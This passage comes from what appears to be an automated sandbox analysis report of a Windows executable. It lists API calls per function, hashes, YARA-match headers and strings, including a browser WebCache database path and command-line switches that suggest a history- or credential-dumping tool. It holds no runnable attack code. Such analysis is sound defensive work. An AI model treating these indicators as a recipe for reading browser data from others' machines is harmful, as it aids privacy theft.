Part of subcall function 0040C513: ??2@YAPAXI@Z.MSVCRT ref: 0040C534
Part of subcall function 0040C513: ??3@YAXPAX@Z.MSVCRT ref: 0040C5FB

GetStdHandle.KERNEL32(000000F5,?,0040FF40,00000000,00000000,?,00000000,00000000,00000000), ref: 0040DD6C
FindCloseChangeNotification.KERNELBASE(00000000,?,0040FF40,00000000,00000000,?,00000000,00000000,00000000), ref: 0040DE90

Part of subcall function 00407D94: CreateFileW.KERNELBASE(00000000,40000000,00000001,00000000,00000002,00000000,00000000,0040DD67,00000000,?,0040FF40,00000000,00000000,?,00000000,00000000), ref: 00407DA6

Part of subcall function 00407DF4: GetLastError.KERNEL32(00000000,?,0040DEA5,00000000,?,0040FF40,00000000,00000000,?,00000000,00000000,00000000), ref: 00407E08
Part of subcall function 00407DF4: _snwprintf.MSVCRT ref: 00407E35
Part of subcall function 00407DF4: MessageBoxW.USER32(00000000,?,Error,00000030), ref: 00407E4E

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ??2@??3@ChangeCloseCreateErrorFileFindHandleLastMessageNotification_snwprintf
String ID:
API String ID: 1161345128-0
Opcode ID: 3d3b21ef697afd0bdb833f204540dd718a0a6addb83a3789607b508d28bd4cbe
Instruction ID: 75199abba107ca30350ead5857dca6b94cadfdfaeaa302ec2f3d27d1e62cce92
Opcode Fuzzy Hash: 3d3b21ef697afd0bdb833f204540dd718a0a6addb83a3789607b508d28bd4cbe
Instruction Fuzzy Hash: BD417F35E00604EBCB219FA9C885A5EB7B6AF54714F20406FF446AB2D1CB389E44DA99

Uniqueness

Uniqueness Score: -1.00%

Function 0040FE76, Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 0040FEC3

Strings

/stext, xrefs: 0040FEBE

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _wcsicmp
String ID: /stext
API String ID: 2081463915-3817206916
Opcode ID: a01bfb8d808dbe57cbee4fd70ed2a4dbf1f3eb0a587578e83f1d012f6d402b9a
Instruction ID: 2161babe09ea1c109a016804ff5c091d56ac672142073ac0305c405afa28cd18
Opcode Fuzzy Hash: a01bfb8d808dbe57cbee4fd70ed2a4dbf1f3eb0a587578e83f1d012f6d402b9a
Instruction Fuzzy Hash: 37216074B00205AFD714EFAAC881A9DB7A9FF84304F1001BFA415A7782DB79AD148B95

Uniqueness

Uniqueness Score: -1.00%

Function 0041829C, Relevance: 3.0, APIs: 2, Instructions: 28COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004182A7
GetSystemInfo.KERNELBASE(00453D60,?,00000000,00442D20,?,?,?), ref: 004182B0

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: InfoSystemmemset
String ID:
API String ID: 3558857096-0
Opcode ID: e09057acdafeef912d39132da5cb39305370b204b8372ac2ca77995ca7410ec3
Instruction ID: 3c0be6fe3b5a6ffc89f5b68e380a6edd79d3b36df5ca7f17532ee32b6b8f0e73
Opcode Fuzzy Hash: e09057acdafeef912d39132da5cb39305370b204b8372ac2ca77995ca7410ec3
Instruction Fuzzy Hash: 86E09235E01A242BE7117F767C07BDB26948F8A38AF04407BF904DA253EA6CCD414ADE

Uniqueness

Uniqueness Score: -1.00%

Function 00414C1D, Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00414C2C

Strings

failed to allocate %u bytes of memory, xrefs: 00414C46

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: malloc
String ID: failed to allocate %u bytes of memory
API String ID: 2803490479-1168259600
Opcode ID: 37a0e16a31e73fb3f1329956b653d3eb145f9cbc4939c84207ade25bbdcda1f4
Instruction ID: cc16955a0d14ca8776a7aa5b229d79c98c920de21d1adc6b7d8c4ece6c284845
Opcode Fuzzy Hash: 37a0e16a31e73fb3f1329956b653d3eb145f9cbc4939c84207ade25bbdcda1f4
Instruction Fuzzy Hash: 64E020B7F0361267C2004615DC0168777959FD132171B0637F95CD3680D63CD84587A9

Uniqueness

Uniqueness Score: -1.00%

Function 00416ED2, Relevance: 3.0, APIs: 2, Instructions: 24sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064), ref: 00416EEB
FindCloseChangeNotification.KERNELBASE(0CC483FF,00000000,00000000,004536AC,0041753F,00000008,00000000,00000000,?,004176FC,?,00000000), ref: 00416EF4

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ChangeCloseFindNotificationSleep
String ID:
API String ID: 1821831730-0
Opcode ID: cc2e2d56278e834b5826f7bb8f80f5f4d654d385e6d95c8a2fc1f4074e09f098
Instruction ID: ddbdeb719d62bbcd0ae2c24f8bc232808eb7cee6ac061654c4d164212cdc0068
Opcode Fuzzy Hash: cc2e2d56278e834b5826f7bb8f80f5f4d654d385e6d95c8a2fc1f4074e09f098
Instruction Fuzzy Hash: 35E0C23F11071A9FDB0097BCDC90AD773D8EF56338726433AF662C61A0CA65D8828654

Uniqueness

Uniqueness Score: -1.00%

Function 0041B556, Relevance: 2.7, APIs: 2, Instructions: 195COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0041B6FA
memcmp.MSVCRT ref: 0041B70C

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memcmpmemset
String ID:
API String ID: 1065087418-0
Opcode ID: 9b44e04d39c850c09dfc470b21759ac07039072516198818df3f324f61dd621a
Instruction ID: 1efd5175aaeb232b83b4fa12f0066e98a2b2c589ef3b7fe000d2c80dadf29316
Opcode Fuzzy Hash: 9b44e04d39c850c09dfc470b21759ac07039072516198818df3f324f61dd621a
Instruction Fuzzy Hash: AF617C71A01245EFDB10EFA485C06EEB7B4FB54308F14846FE11497281E738AED59B9A

Uniqueness

Uniqueness Score: -1.00%

Function 00408D9F, Relevance: 2.5, APIs: 2, Instructions: 14COMMON

Download Yara Rule

APIs

free.MSVCRT(?,00409176,00000000,?,00000000), ref: 00408DA2
free.MSVCRT(?,?,00409176,00000000,?,00000000), ref: 00408DAA

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 24817b5554e4738b88c440df0c7233c3037c59b36583c92020dd6282cd28d1d1
Instruction ID: aaa92272bc418c7d1270a62145ca905ed0b036dea6655797c2fa71225ad517e5
Opcode Fuzzy Hash: 24817b5554e4738b88c440df0c7233c3037c59b36583c92020dd6282cd28d1d1
Instruction Fuzzy Hash: D3D042B0404B008FE7B0DF39E401606BBF0AB483103208D2E90AAC2A50E775A1049F08

Uniqueness

Uniqueness Score: -1.00%

Function 004109C4, Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00410A52: memset.MSVCRT ref: 00410A9A
Part of subcall function 00410A52: wcslen.MSVCRT ref: 00410AB1
Part of subcall function 00410A52: wcslen.MSVCRT ref: 00410AB9
Part of subcall function 00410A52: wcslen.MSVCRT ref: 00410B14
Part of subcall function 00410A52: wcslen.MSVCRT ref: 00410B22

Part of subcall function 004086BA: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,02000000,00000000,00000000,00000000,00410A06,00000000,?,00000000,?,00000000), ref: 004086D2
Part of subcall function 004086BA: GetFileTime.KERNEL32(00000000,00000000,00000000,?), ref: 004086E6
Part of subcall function 004086BA: CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00411ED6), ref: 004086EF

CompareFileTime.KERNEL32(?,?,00000000,?,00000000), ref: 00410A10

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: wcslen$File$Time$CloseCompareCreateHandlememset
String ID:
API String ID: 4204647287-0
Opcode ID: 48bb59a4ca4dbe6461cecc32442f889d9791df2e0bee5e493ae7e30c1f2a8d06
Instruction ID: e327927a43c347593f183825775ae13c5bf460ea87da421573a566f28fb83fb7
Opcode Fuzzy Hash: 48bb59a4ca4dbe6461cecc32442f889d9791df2e0bee5e493ae7e30c1f2a8d06
Instruction Fuzzy Hash: 7A117076C00218EBCF11EBA5DA419DEB7B9EF44300F10006BE441F3281EA749B84CB95

Uniqueness

Uniqueness Score: -1.00%

Function 004057D2, Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(004057A8,?,?,00000000,00000000,00000000,00405E25,00000000,00000000,?,00000000,004057A8), ref: 004057EE

Part of subcall function 0040897D: ReadFile.KERNELBASE(?,?,CCD,00000000,00000000,?,?,00444343,00000000,00000000), ref: 00408994

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$PointerRead
String ID:
API String ID: 3154509469-0
Opcode ID: 64c5ed2aa36d8d537b285b5c1e7aa840f4d64fa0910f6d092a5b593a7cfce923
Instruction ID: 10cf5b1db118189887eacc4ff35e91e25d6bd08443c232d43c4ae27a9a01ea3e
Opcode Fuzzy Hash: 64c5ed2aa36d8d537b285b5c1e7aa840f4d64fa0910f6d092a5b593a7cfce923
Instruction Fuzzy Hash: FBE0C776100100FFE620AF08CC06F2BBBF8EFC4B00F10882EB2C49A0B5C6326812CB25

Uniqueness

Uniqueness Score: -1.00%

Function 00413E1E, Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetPrivateProfileIntW.KERNEL32 ref: 00413E45

Part of subcall function 00413CAE: memset.MSVCRT ref: 00413CCD
Part of subcall function 00413CAE: _itow.MSVCRT ref: 00413CE4
Part of subcall function 00413CAE: WritePrivateProfileStringW.KERNEL32(?,?,00000000), ref: 00413CF3

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: PrivateProfile$StringWrite_itowmemset
String ID:
API String ID: 4232544981-0
Opcode ID: 1f1dca71c13544e9ae3cf3bf1a8489d4a1747e82e79b44c055a72dbc52dfabd8
Instruction ID: 5d66eace87880ca3e294b7f0e570a8e3be22b6ae62b10c3d44e19be24f2def2d
Opcode Fuzzy Hash: 1f1dca71c13544e9ae3cf3bf1a8489d4a1747e82e79b44c055a72dbc52dfabd8
Instruction Fuzzy Hash: 89E0B632000249ABDF126F91EC01AAA7F66FF14315F148459FD6C14121D33295B0AF84

Uniqueness

Uniqueness Score: -1.00%

Function 00444425, Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

FreeLibrary.KERNELBASE(?,?,00411BC7,?,?,00403557,?), ref: 00444436

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 323128d68ef13db0835413ed71cea84c0f3745e98266a12d00a9647ca1b2ecc2
Instruction ID: 39ddfc5443798b4b2f471bdaff8db486b4a9363c7739a8bb917076c50ef601e7
Opcode Fuzzy Hash: 323128d68ef13db0835413ed71cea84c0f3745e98266a12d00a9647ca1b2ecc2
Instruction Fuzzy Hash: 92E0F6B5900B008F97308F2BE944506FBF8BEE46103108A1F91AAC2A21C3B4A5498F94

Uniqueness

Uniqueness Score: -1.00%

Function 004135FF, Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

Part of subcall function 00413627: LoadLibraryW.KERNELBASE(psapi.dll,00000000,00413607,00000000,004134F7,00000000,?), ref: 00413632
Part of subcall function 00413627: GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00413646
Part of subcall function 00413627: GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00413652
Part of subcall function 00413627: GetProcAddress.KERNEL32(00000000,GetModuleFileNameExW), ref: 0041365E
Part of subcall function 00413627: GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041366A
Part of subcall function 00413627: GetProcAddress.KERNEL32(00000000,GetModuleInformation), ref: 00413676

K32GetModuleFileNameExW.KERNEL32(00000104,00000000,004134F7,00000104,004134F7,00000000,?), ref: 0041361E

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressProc$FileLibraryLoadModuleName
String ID:
API String ID: 3821362017-0
Opcode ID: 115f5329003125d907eaa6c1792e5f10a4de8ddb58c38107801da2991a4e6f4b
Instruction ID: 7bbd5afd8370dadb00360ee8d7667c1b04e34d2617d736b2e99a938255987c13
Opcode Fuzzy Hash: 115f5329003125d907eaa6c1792e5f10a4de8ddb58c38107801da2991a4e6f4b
Instruction Fuzzy Hash: 7CD022312043007BD231EE708C00FCBB3E8BF44711F028C1AB190E2280C3B8C9409308

Uniqueness

Uniqueness Score: -1.00%

Function 00413401, Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

FreeLibrary.KERNELBASE(00000000,00406DBF,?,00000000,?,?,?,?,?,00000000,?), ref: 00413408

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: c7bdee4124c4d8ad6a19752b3b65f2382f4191ba04176db7896d06b676d0d792
Instruction ID: 53121aa1ed69e67302caa1b874726051d72530908054280e128cb363a29a4499
Opcode Fuzzy Hash: c7bdee4124c4d8ad6a19752b3b65f2382f4191ba04176db7896d06b676d0d792
Instruction Fuzzy Hash: 51D0C9324005229BDB00AF26EC45B857368EF00351B150025E800BB492D738BEA28ADC

Uniqueness

Uniqueness Score: -1.00%

Function 0040899C, Relevance: 1.5, APIs: 1, Instructions: 13fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000000,00000000,00000000,?,?,0040DDA6,00000000,0044AF64,00000002,?,0040FF40,00000000,00000000,?), ref: 004089B3

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: d35f175962138f83e7c21fa835ff5d24f1ea1e816d258fa8209e89adc734a4dd
Instruction ID: 44b36b217b32540387e14a2368d622af177610148a3238ec1afc6282a592e5c5
Opcode Fuzzy Hash: d35f175962138f83e7c21fa835ff5d24f1ea1e816d258fa8209e89adc734a4dd
Instruction Fuzzy Hash: 64D0C93551020DFFDF01CF80DD06FDE7B7DEB04359F104054BA0495060C7B59A10AB54

Uniqueness

Uniqueness Score: -1.00%

Function 00407D7B, Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000,00444305,00000000,?,00000000,00000000,0041274B,?,?), ref: 00407D8D

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 8208bc6edc164ae96c82fd775a2941fa10469c8b98cafac607abb3fbe20ee729
Instruction ID: 729bcb02508df23f9412a42fb8e8b3188fed1bd1f0cd2b7b0f8edc4fa6246a8f
Opcode Fuzzy Hash: 8208bc6edc164ae96c82fd775a2941fa10469c8b98cafac607abb3fbe20ee729
Instruction Fuzzy Hash: E3C092B4240201BEFF228B10ED15F36295CD740700F2044247E00E80E0D1A04E108924

Uniqueness

Uniqueness Score: -1.00%

Function 00407D94, Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,40000000,00000001,00000000,00000002,00000000,00000000,0040DD67,00000000,?,0040FF40,00000000,00000000,?,00000000,00000000), ref: 00407DA6

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: e4fb0def6ce664a06b79152cf56c2ddeab2622e766aaf14104048769dc5d2c9c
Instruction ID: edb615435fe3ce855b8554d9524e6f242ae4b45eb81851bd3d2393cb7dc29c83
Opcode Fuzzy Hash: e4fb0def6ce664a06b79152cf56c2ddeab2622e766aaf14104048769dc5d2c9c
Instruction Fuzzy Hash: 67C012F43503017FFF208B10AD0AF37395DD780700F1084207F00E80E1D2E14C008924

Uniqueness

Uniqueness Score: -1.00%

Function 00409552, Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT ref: 00409559

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: f17d17a82e7eff4c361624d86b7f249207a7f80e03ad9ec9b6aa2e80ce8aa672
Instruction ID: 664dc763c5da3aaab367392b47211da9bee634dc4adcd4213ebe75a48c3d30fa
Opcode Fuzzy Hash: f17d17a82e7eff4c361624d86b7f249207a7f80e03ad9ec9b6aa2e80ce8aa672
Instruction Fuzzy Hash: 6EC09BB29127015BF7309F66C40471373D85F50767F314C5DA4D1964C1DB7CD5408514

Uniqueness

Uniqueness Score: -1.00%

Function 00414266, Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

EnumResourceNamesW.KERNELBASE(?,?,004141E0,00000000), ref: 00414275

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: EnumNamesResource
String ID:
API String ID: 3334572018-0
Opcode ID: 10e677fbce6fd90f0b0892a272ce9856b781f2edb2e34da2307d6f8996e91fc3
Instruction ID: 894f21907dab3ca3b917dc931ff3d8bd940b81db11264512214ff9c0d0df685d
Opcode Fuzzy Hash: 10e677fbce6fd90f0b0892a272ce9856b781f2edb2e34da2307d6f8996e91fc3
Instruction Fuzzy Hash: 23C09B35654341A7C7029F109C0DF1E7EA5BB95705F504C29B151940A0C75251549609

Uniqueness

Uniqueness Score: -1.00%

Function 00409428, Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(?,0040933E,?,00000000,?,004127ED,*.*,?), ref: 00409432

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 0ad1f9dc815212ba49355cece8123c874f6c433bcb3a33917fc8ecdda60dda50
Instruction ID: 3bd61d94ea2d0ebbf22c21a92135ad1df5e9ea430364887b997a0a3dbe6c7a02
Opcode Fuzzy Hash: 0ad1f9dc815212ba49355cece8123c874f6c433bcb3a33917fc8ecdda60dda50
Instruction Fuzzy Hash: 3EC048345109018BD6289F38986A52A77A0AA5A3303A44F6CA0F2920E2E73888428A04

Uniqueness

Uniqueness Score: -1.00%

Function 00413ACB, Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

FreeLibrary.KERNELBASE(?,0040ADDC), ref: 00413AD7

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: ae408aea655b612f84878290bbe666c5974634203696d3986710f65fc614f927
Instruction ID: 95e4874612f61a4c2f5820174f699a9a2e50adc9900ffd5901b80c85968e45e3
Opcode Fuzzy Hash: ae408aea655b612f84878290bbe666c5974634203696d3986710f65fc614f927
Instruction Fuzzy Hash: 7BC04C35510B118BEF218B12C989793B3E4AF00757F40C818949685851D77CE454CE18

Uniqueness

Uniqueness Score: -1.00%

Function 00408250, Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,0040BC93,?,0040BD4A,00000000,?,00000000,00000208,?), ref: 00408254

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 4382bcffcdb6742439dfbf3a6db9824b907b5495e43b5b320ff748ce3f5f7401
Instruction ID: 7aa4b53cbdd50d27f0544b0d73f3b09e9b9e978b4a3a64aa4ec168f40bbc8e5c
Opcode Fuzzy Hash: 4382bcffcdb6742439dfbf3a6db9824b907b5495e43b5b320ff748ce3f5f7401
Instruction Fuzzy Hash: 89B012B92104005BCF0807349C4904D36505F456317300B3CB033C01F0D730CCA0BA00

Uniqueness

Uniqueness Score: -1.00%

Function 00413E4F, Relevance: 1.5, APIs: 1, Instructions: 7registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(80000002,80000002,00000000,00020019,80000002,004145EB,80000002,Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders,?), ref: 00413E62

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: beaa972787324bac86b0054d7d1e8ed04957e390a170dd16c4c1fd7d277969b5
Instruction ID: 06f107d5783c69a41ddb44c60f44fa238db6365feab173ebf779541cd7ebc08f
Opcode Fuzzy Hash: beaa972787324bac86b0054d7d1e8ed04957e390a170dd16c4c1fd7d277969b5
Instruction Fuzzy Hash: E1C09B39544301BFDF114F40FE05F09BB61AB84F05F004414B344240B282714414EB57

Uniqueness

Uniqueness Score: -1.00%

Function 0041B76D, Relevance: 1.3, APIs: 1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc414d29a86c02bfab00fdf6615c28341d3535a26ade503b01f52aea8873ca66
Instruction ID: fa567e0f167378dcabf243c4c44df542d601d1aca3ea04bf4c0b19c361688719
Opcode Fuzzy Hash: bc414d29a86c02bfab00fdf6615c28341d3535a26ade503b01f52aea8873ca66
Instruction Fuzzy Hash: 1A317C31901216EFDF14AF25D9817DA73A4FF00B55F14412BF825AB280DB38EDA08BD9

Uniqueness

Uniqueness Score: -1.00%

Function 00405DEB, Relevance: 1.3, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00409539: ??2@YAPAXI@Z.MSVCRT ref: 00409542

Part of subcall function 004057D2: SetFilePointerEx.KERNELBASE(004057A8,?,?,00000000,00000000,00000000,00405E25,00000000,00000000,?,00000000,004057A8), ref: 004057EE

memcpy.MSVCRT ref: 00405E6E

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ??2@FilePointermemcpy
String ID:
API String ID: 609303285-0
Opcode ID: 69c5ce9f8364cb3a2f3d9952414f58f868eb9a31ba510d0c6d062cd66918fe31
Instruction ID: b6d0ac0748dce8c6543b82d29fb895a5afc24863716f8b43ab814fbacadff293
Opcode Fuzzy Hash: 69c5ce9f8364cb3a2f3d9952414f58f868eb9a31ba510d0c6d062cd66918fe31
Instruction Fuzzy Hash: 2F11B272500908BBD711A755C844F9F77ACEF84318F15807BF94573182C738AE068BE9

Uniqueness

Uniqueness Score: -1.00%

Function 004060BC, Relevance: 1.3, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 004060ED

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _wcsicmp
String ID:
API String ID: 2081463915-0
Opcode ID: 5d18b3e2f7875cbfa1b7883ec22a938669b6fc3c83f0355837b3f79f1fd7a5de
Instruction ID: 08e2259bb844cdb7583518af71a3b249da553f2a004d57c4b783ea4beab812a3
Opcode Fuzzy Hash: 5d18b3e2f7875cbfa1b7883ec22a938669b6fc3c83f0355837b3f79f1fd7a5de
Instruction Fuzzy Hash: 3B118871600605AFDB10DF65C8C199AB7F8FF04314F11853EE416E7281EB34F9158B68

Uniqueness

Uniqueness Score: -1.00%

Function 00405740, Relevance: 1.3, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 004057C0: CloseHandle.KERNEL32(000000FF,00405750,00000000,?,00409A41,00000000,00000000,00000104,Microsoft\Windows\WebCache\WebCacheV01.dat,?,?,?,00409F26,?,0040A0FE,000000FF), ref: 004057C8

Part of subcall function 00407D7B: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000,00444305,00000000,?,00000000,00000000,0041274B,?,?), ref: 00407D8D

GetLastError.KERNEL32(00000000,?,00409A41,00000000,00000000,00000104,Microsoft\Windows\WebCache\WebCacheV01.dat,?,?,?,00409F26,?,0040A0FE,000000FF,00000000,00000104), ref: 004057AD

Part of subcall function 0040897D: ReadFile.KERNELBASE(?,?,CCD,00000000,00000000,?,?,00444343,00000000,00000000), ref: 00408994

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$CloseCreateErrorHandleLastRead
String ID:
API String ID: 2136311172-0
Opcode ID: 81d98ab7555efe12e5c8b48e24a2d6677c0216f0edfc1775a14d27b6400d9af5
Instruction ID: 00704370d8ec878584a64fe5f9f18aab24b7d249e6cd1ef38c395e5c556ec921
Opcode Fuzzy Hash: 81d98ab7555efe12e5c8b48e24a2d6677c0216f0edfc1775a14d27b6400d9af5
Instruction Fuzzy Hash: 190181B5415A00DFE7205B30C905BA776E8EF51315F10893FE595E72C1EB7C9480DAAE

Uniqueness

Uniqueness Score: -1.00%

Function 00409539, Relevance: 1.3, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

Part of subcall function 00409552: ??3@YAXPAX@Z.MSVCRT ref: 00409559

??2@YAPAXI@Z.MSVCRT ref: 00409542

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ??2@??3@
String ID:
API String ID: 1936579350-0
Opcode ID: afed82952d0e9bcea28b6882f33bad89db067c3a9bda0bf3c4f02441038791aa
Instruction ID: 8918756149df837d9eea435be632a3e0a17df07a668273fb2c59ff5331204d46
Opcode Fuzzy Hash: afed82952d0e9bcea28b6882f33bad89db067c3a9bda0bf3c4f02441038791aa
Instruction Fuzzy Hash: 2BC08C724182100AD650FF79280205622D49E82320301882FE091E3142D53848014344

Uniqueness

Uniqueness Score: -1.00%

Function 0040B1BF, Relevance: 1.3, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

free.MSVCRT(00000000,00410160,/deleteregkey,/savelangfile,?,?,?,?,00000002,?,004448C6,00000000,?,0000000A), ref: 0040B1C6

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: ca48b363025fd7f42afa8552a353c3ae8abba493304229bf9adae34e8f70245b
Instruction ID: def78aeb235da03500d5bf48ca01037dd20a397eb60980b6de46ef9d9da7be76
Opcode Fuzzy Hash: ca48b363025fd7f42afa8552a353c3ae8abba493304229bf9adae34e8f70245b
Instruction Fuzzy Hash: ACC01272420B018FF7209E11C406722B3E4EF0077BF618C0D909481482C77CD4408A48

Uniqueness

Uniqueness Score: -1.00%

Function 00408F1E, Relevance: 1.3, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

free.MSVCRT(00000000,004092A3,00000000,?,00000000), ref: 00408F25

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 3eb1e8d1b89ea51a5407810e4ab9f4a69700e84ea5e736543a1eb2ef7f6bf350
Instruction ID: eebb639015016b4d35185c1cf15d7584ef51e0a9315dec3cbabf5363aa789e86
Opcode Fuzzy Hash: 3eb1e8d1b89ea51a5407810e4ab9f4a69700e84ea5e736543a1eb2ef7f6bf350
Instruction Fuzzy Hash: C5C0127A4107028BF7308F21C509322B2E5AF0072BF708C0D90D081482CB7CD0808A08

Uniqueness

Uniqueness Score: -1.00%

Function 00414C5E, Relevance: 1.3, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00414C62

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
